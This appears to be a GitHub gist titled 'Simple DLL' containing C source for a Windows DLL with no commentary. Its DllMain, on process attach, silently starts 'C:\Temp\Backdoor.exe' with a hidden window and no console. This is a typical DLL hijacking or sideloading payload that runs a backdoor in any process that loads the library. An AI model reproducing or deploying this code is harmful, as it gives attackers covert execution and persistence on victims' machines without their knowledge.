Instantly share code, notes, and snippets.

Embed
What would you like to do?
Simple DLL
#include <windows.h>
#include <stdio.h>
//////////////////////////////////////////////////////////////////////
BOOLEAN WINAPI DllMain(
IN HINSTANCE /*hDllHandle*/,
IN DWORD nReason,
IN LPVOID /*Reserved*/)
{
BOOLEAN bSuccess = TRUE;
switch (nReason)
{
case DLL_PROCESS_ATTACH:
{
STARTUPINFO si = { sizeof(STARTUPINFO) };
si.cb = sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
PROCESS_INFORMATION pi;
CreateProcess("C:\\Temp\\Backdoor.exe", NULL , NULL, NULL, FALSE, CREATE_NO_WINDOW , NULL, NULL, &si, &pi);
}
break;
case DLL_PROCESS_DETACH:
break;
}
return bSuccess;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment